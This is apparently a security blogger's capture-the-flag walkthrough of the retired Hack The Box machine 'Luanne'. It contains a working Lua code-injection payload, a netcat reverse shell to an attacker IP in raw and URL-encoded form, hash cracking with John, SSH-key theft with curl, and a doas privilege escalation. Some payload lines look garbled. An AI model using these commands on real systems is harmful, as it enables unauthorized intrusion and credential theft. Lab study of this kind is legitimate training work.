Luanne

Name:	Luanne
Release Date:	28 Nov 2020
Retire Date:	27 Mar 2021
OS:	Linux/Other
Base Points:	Easy - Retired [0]
Rated Difficulty:
Radar Graph:
	jkr 00 days, 01 hours, 34 mins, 11 seconds
	xct 00 days, 01 hours, 50 mins, 24 seconds
Creator:	polarbearer
Pentest Workshop PDF:	Luanne.pdf

Again, we start with sudo /home/kali/AutoRecon/src/autorecon/autorecon.py 10.10.10.218

Sidenote: Newer versions of Kali that do not use root by default require sudo whenever checking UDP ports.

The main open ports we need to look into are HTTP TCP 80 and HTTP TCP 9001. Navigating to either 80 or 9001, it immediately asks for a user name and password, which we don't have....yet. Fortunately, autorecon's XML outputs shows us that port 9001 is running Medusa Supervisor Process Manager. We can do a simple DuckDuckGo (privacy XD) for Medusa default credentials and find this site:

https://developpaper.com/supervisor-process-manager/

which tells us that the default credentials are user:123. Trying those credentials allows us to log in and see the Supervisor panel.

Let's check out what each of these is about, in particular the processes monitor, which appears to be a ps -aux output.

OK, this is interesting. There are 2 processes (PID 318 and 391) that are running localhost:3000 & 3001 respectively. 3000 looks to be running weather.lua under httpd_devel.pid. Time for more searching, but let's see if there's any additional directores under http://10.10.10.218:3000/weather using:

gobuster dir -k -e -r -u http://10.10.10.218/eather -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x "asp,aspx,bak,bat,c,cfm,cgi,css,com,dll,exe,git,htm,html,inc,jhtml,js,jsa,jsp,log,mdb,nsf,pcap, php,php2,php3,php4,php5,php6,php7,phps,php.bak,pht,phtml,pl,reg,sh,shtml,sql,swf,txt,xm" -s "200,204,301,302,307"

-t50 -o Luanne.out

We find a /forecast directory. When we navigate to it, we get a 200 response, but with a little bit more information on how we can use the forecast call.

So, if we add ?city=list to that, the response should provide us with a list of locations, but could also be a potential exploit vector. For example, LUA httpd requests are sometimes vulnerable to code execution attacks:

http://10.10.10.218/weather/forecast?city=curl -v "http://10.10.10.218/weather/forecast?city=')+os.execute('id')+--"

would be an example of a LUA RCE vector. Let's check against that. Notice, we have to change to the RAW DATA tab of the response, but LUA RCE has been confirmed! Let's see if we can use that to create a reverse shell using:

http://10.10.10.218/weather/forecast?city=curl -v "http://10.10.10.218/weather/forecast?city=')+os.execute('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.4 1337 >/tmp/f')+--"

Now we'll have URL the rm string, so the command ends up being:

http://10.10.10.218/weather/forecast?city=curl%20-v%20%22http%3A%2F%2F10.10.10.218%2Fweather%2Fforecast%3Fcity%3D%27%29%2Bos.execute%28%27rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.16.4%201337%20%3E%2Ftmp%2Ff%27%29%2B--%22

Now, we have a shell as httpd. We need to move laterally and then privesc. First thing we can grab, it the .htaccess password hash and crack it in John The Ripper.

$ cat ./.htpasswd
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0

$john --wordlist=/usr/share/wordlists/rockyou.txt hash

webapi_user:iamthebest

What's with everyone thinking they're the best? Any who... Now that we have another set of credentials, let's see if we can make any headway with that lateral movement I was talking about. <MANY hours later> I finally found something that works. I never thought to pass the credentials in curl directly from the box and grab directories and file contents.

curl --user webapi_user:iamthebest localhost:3001/~r.michaels/ and then

curl --user webapi_user:iamthebest localhost:3001/~r.michaels/id_rsa

Bingo! SSH key and a good "pause" point if we need to. Copy it into a key file on your attack machine and:

ssh -i id_rsa r.micheals@10.10.10.218

and we have a shell and can grab the user.txt flag.

luanne$ cat user.txt
ea5f0ce6a917b0be1eabc7f9218febc0

On to privesc. One of the first things we find is a backups directory and more importantly, the backups in that directory. So, no one interrupts what we're doing (or visa versa), let's copy that backup file into a different directory. /tmp will wipe everything after a few minutes, so we need to move fast. From the /home/r.michaels/backups folder, run:

cp ./devel_backup-2020-09-16.tar.gz.enc /tmp/devel.tar.gz

cd /tmp

netpgp --decrypt --output=devel_backup-2020-09-16.tar.gz devel_backup-2020-09- 16.tar.gz.enc

tar xvzf devel_backup-2020-09-16.tar.gz

You'll see it extract another .htpasswd file! Cat it quickly.

cat /tmp/devel-2020-09-16/www/.htpasswd

Now we can place that into a new hashfile and run it through John like we did the other.

luanne$ cat devel-2020-09-16/www/.htpasswd
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.

Backed up hash will crack to littlebear.

Now NetBSD doesn't have "sudo" per se, but uses "doas" which is essentially the same thing. LinEnum/LinPEAS shows that doas allows r.michaels to permit as root, but needs the root password.... We do have littlebear. Let's try it.

doas sh

Password: littlebear

We win! Grab the proof info and we've completed another box.

# cat /root/root.txt
7a9b5c206e8e8ba09bb99bd113675f66

©2020 Phoenix Computing Solutions | Powered by Coffee, Sarcasm, and Insanity
Everything included in the site is the intellectual property of Chris Ruggieri (Neocount Phoenix) and Phoenix Computing Solutions.
This information should not be construed as legal advice. The owner can not be held liable for anything another entity does with this information.
This information is solely the opinions and experiences of myself (Chris Ruggieri) and should not be construed as endorsement of any product, service, or of illegal activity

(GET WRITTEN PERMISSION PEOPLE!!)
Any links I provide as a convenience and for informational purposes only; they do not constitute an endorsement or an approval by the owner of this site for any of the products, services or opinions of the corporation or organization or individual.
Contact the external sites for answers to questions regarding its content.
This Includes any links posted by Chris Ruggieri in any other websites, Social Media networks, Online Groups and Online sharing Websites.

Chris Ruggieri (Neocount Phoenix)

Security Blog, Rants, Raves, Write-ups, and Code

Chris Ruggieri (Neocount Phoenix)

Security Blog, Rants, Raves, Write-ups, and Code

Luanne